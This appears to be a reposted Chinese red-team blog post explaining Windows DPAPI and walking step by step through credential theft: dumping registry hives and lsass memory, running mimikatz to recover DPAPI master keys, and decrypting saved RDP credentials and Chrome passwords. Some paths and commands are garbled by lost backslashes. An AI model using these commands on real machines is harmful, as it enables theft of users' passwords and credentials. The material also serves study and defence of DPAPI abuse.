北京红星二锅头之Dpapi释疑

admin 2021年12月2日08:40:49评论87 views字数 3158阅读10分31秒阅读模式

✨ 十年磨一剑,一出天下寒  

要想成为强者,就不要回避心里的恐惧,恐惧并不是弱点。强者,是要让你的敌人比你更恐惧 [剑圣盖聂]


北京红星二锅头之Dpapi释疑

Dpapi释疑


当红队进行攻击的时候,对攻击目标的信息收集是很重要的。内网信息收集的时候离不开对于存储凭据和敏感信息的收集,那就离不开DPAPI这个数据保护接口,当你在 Outlook、Chrome或 Internet 浏览器中保存密码时,DPAPI 和 Windows 会保护您的数据。


DPAPI(Data Protection Application Programming Interface)是一个简单的加密应用程序编程接口,可作为Windows 2000和更高版本Microsoft Windows 操作系统中的内置组件使用。其在Windows操作系统中的主要用途是执行非对称私钥的对称加密。

北京红星二锅头之Dpapi释疑

Dpapi能保护什么


  • Internet Explorer、Google *Chrome 中的密码和表单自动完成数据


  • Outlook、Windows Mail、Windows Mail 等中的电子邮件帐户密码

  • FTP 管理员帐户密码


  • 共享文件夹资源访问密码


  • 无线网络帐户密钥密码


  • 远程桌面连接密码


  • Windows CardSpace 和 Windows Vault 中的加密密钥


  • 用于加密文件系统 (EFS)、加密邮件 S-MIME、其他用户的证书、Internet 信息服务中的 SSL/TLS 的私钥


  • EAP/TLS 和 802.1x(VPN 和 WiFi 身份验证)


  • 凭据管理器中的网络密码


  • 使用 API 函数 CryptProtectData 以编程方式保护的任何应用程序中的个人数据。例如,在 Skype、Windows 权限管理服务、Windows Media、MSN 信使、Google Talk 等

北京红星二锅头之Dpapi释疑

Dpapi加密流程


DPAPI主要用两个函数CryptProtectData和CryptUnprotectData


北京红星二锅头之Dpapi释疑

北京红星二锅头之Dpapi释疑

Dpapi blob


一段密文,可使用 Master Key 对其解密



Master key


64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中



Master key files


经用户密码加密Master key 后保存Master key的二进制文件

包含以下五个部分

北京红星二锅头之Dpapi释疑

file分为用户和系统两种:

用户Master Key file,位于

%APPDATA%MicrosoftProtect%SID%

北京红星二锅头之Dpapi释疑

北京红星二锅头之Dpapi释疑

注:[Preferred文件显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期]

系统Master Key file,位于

%WINDIR%System32MicrosoftProtectS-1-5-18User

北京红星二锅头之Dpapi释疑

[注:S-1-5-18是SYSTEM账户的SID]


Master key file解密


使用mimikatz对其进行解密,读取用户的mastermaster

 mimikatz.exe log "dpapi::masterkey /in:"da3c7e9f-4a62-4271-b720-f93038722e7a"

北京红星二锅头之Dpapi释疑

上图只有结构体,没有master key ,需要传入密码或者hash


获取注册表hiv备份文件

管理员权限运行命令

reg save HKLMSYSTEM SystemBkup.hivreg save HKLMSECURITY SECURITY.hiv

北京红星二锅头之Dpapi释疑

北京红星二锅头之Dpapi释疑

北京红星二锅头之Dpapi释疑

mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"

上面主要是从注册表获取hash

北京红星二锅头之Dpapi释疑

hash:406a7f83c1e5916130a95fe3a9639febda9fea93

之后使用hash解密master key file

dpapi::masterkey /in:C:WindowsSystem32MicrosoftProtectS-1-5-18User3aa38165-5e35-48f1-94a1-6e5c04cba238 /system:406a7f83c1e5916130a95fe3a9639febda9fea93

北京红星二锅头之Dpapi释疑



Master key 解密获取


获取lsass.dmp离线解密master key

procdump.exe -accepteula -ma lsass.exe lsass.dmp

【注意:需要管理员权限】

北京红星二锅头之Dpapi释疑

之后使用mimikatz进行导入解密就好

sekurlsa::minidump lsass.dmpsekurlsa::dpapi

北京红星二锅头之Dpapi释疑

上面通过master key file 凭证解密,还可以通过在线dump lsass的方法获取内存中的所有MasterKey

privilege::debugsekurlsa::dpapi

北京红星二锅头之Dpapi释疑

北京红星二锅头之Dpapi释疑

北京红星二锅头之Dpapi释疑

Master key利用流程


利用流程大概需要两部分,一部分是凭证、一部分是master key


Master key 利用-获取RDP凭证


查看远程链接记录

reg query "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /s

北京红星二锅头之Dpapi释疑

cmdkey /list

北京红星二锅头之Dpapi释疑

获取RDP凭证文件【注:和masterkey file不是一个东西】

Windows保存RDP凭据的目录是

C:Users用户名AppDataLocalMicrosoftCredentials

北京红星二锅头之Dpapi释疑

上面只有一个经过测试发现,默认这个是系统的,我用masterkey解出来莫的什么用,如下图


这个凭据只有在远程连接的时候保存凭证才会有新的

北京红星二锅头之Dpapi释疑

之后就有了

北京红星二锅头之Dpapi释疑

61EB1A这个就是,接下来使用如下命令,主要看的就是 guidMasterKey【注:这个 guidMasterKey大概意思其实就是masterkey的编号,方便对应寻找key;pdData就是要解密的数据】

dpapi::cred/in:C:UsersjulietAppDataLocalMicrosoftCredentials61EB1ABB382AF756971C8233126E62C3

北京红星二锅头之Dpapi释疑

接下来在线dump 出master key

privilege::debugsekurlsa::dpapi

北京红星二锅头之Dpapi释疑

之后使用master key解密

dpapi::cred /in:C:UsersjulietAppDataLocalMicrosoftCredentials61EB1ABB382AF756971C8233126E62C3 /masterkey:8cd338ac......

北京红星二锅头之Dpapi释疑



简Master key利用-获取Chrome密码


1.获取Chrome保存的凭证文件 LoginData文件路径

%localappdata%GoogleChromeUser DataDefaultLogin Data

文件需要用SQLiteStudio打开

北京红星二锅头之Dpapi释疑

北京红星二锅头之Dpapi释疑

mimikatz 在线解密

dpapi::chrome /in:"%localappdata%GoogleChromeUser DataDefaultLogin Data" /unprotect

北京红星二锅头之Dpapi释疑



域环境情况下的...以后再说吧,就这样了...


北京红星二锅头之Dpapi释疑

参考

https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b1072https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13


年纪还小,别把永远挂在嘴边

北京红星二锅头之Dpapi释疑





本文始发于微信公众号(SECURITY CLUB):北京红星二锅头之Dpapi释疑

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月2日08:40:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   北京红星二锅头之Dpapi释疑https://cn-sec.com/archives/450980.html

发表评论

匿名网友 填写信息